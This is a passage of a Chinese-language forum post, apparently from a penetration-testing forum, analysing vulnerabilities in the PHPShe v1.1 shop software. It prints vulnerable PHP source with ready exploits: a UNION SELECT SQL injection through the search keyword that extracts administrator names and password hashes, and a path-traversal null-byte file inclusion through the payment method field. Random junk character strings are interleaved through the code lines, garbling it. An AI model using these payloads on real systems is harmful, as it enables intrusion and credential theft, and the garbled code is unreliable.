0×02 搜索注入
<code id="code2">
//product.php文件 A; A2 o' n0 v# U1 `$ O* j5 E+ g
case 'list':9 I; I$ v) Q- `9 W2 E: G
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索. w6 ^4 |& O! J
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 @0 f6 A# ~& R/ h6 e" Q1 m
}' I- T+ s+ U! N3 m
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤1 o7 ^. |3 F& Z8 i& o
if ($_g_orderby) {$ H" ?& m3 `6 |' P
$orderby = explode('_', $_g_orderby);" e# ]# P% {7 i6 Q' n, w& @; m
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";( ]8 s* ^4 w# z
}0 f' E* m; o% ~ W) ?- _( ?4 U# i
else {
$sqlwhere .= " order by `product_id` desc";/ m8 R+ M$ c' B7 _* B& ]- a
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行. @2 j! N4 t* v" |+ J
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);' ~; I F# n6 l) k# J' _; h
$seo = pe_seo($info['category_name']);5 b7 f% Q H# D. \& ?
include(pe_tpl('product_list.html'));
//跟进selectall函数库% c6 T3 d: y5 n7 E: m" ~) V/ G
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);* I( p4 w, g& i, o
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1$ I( m" w: W4 S
</code>
$ a; d3 T5 I6 K2 q- n4 [3 \
0×03 包含漏洞2
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
A8 u1 {6 Q: \2 f& W
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
3 E7 q! p& D! _7 U
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
, A d F/ x' Y3 e5 q/ k
!$order['order_id'] && pe_error('订单号错误...');
7 S# G# P5 X! j# O
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
5 m6 i0 t) r) Z! s0 U+ T
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";
8 c1 Z$ B; o4 h$ G j* Y
}
# N4 J. C5 {$ O! y& B' }
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
' D+ N. b8 r6 p/ b7 o
else {
pe_error('支付错误...');
}
3 G" K8 v6 ~ H# ^* X8 `2 W* h
}
$seo = pe_seo('选择支付方式');
7 _4 M' W8 g$ F( @6 V( E: p; q2 N- U
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |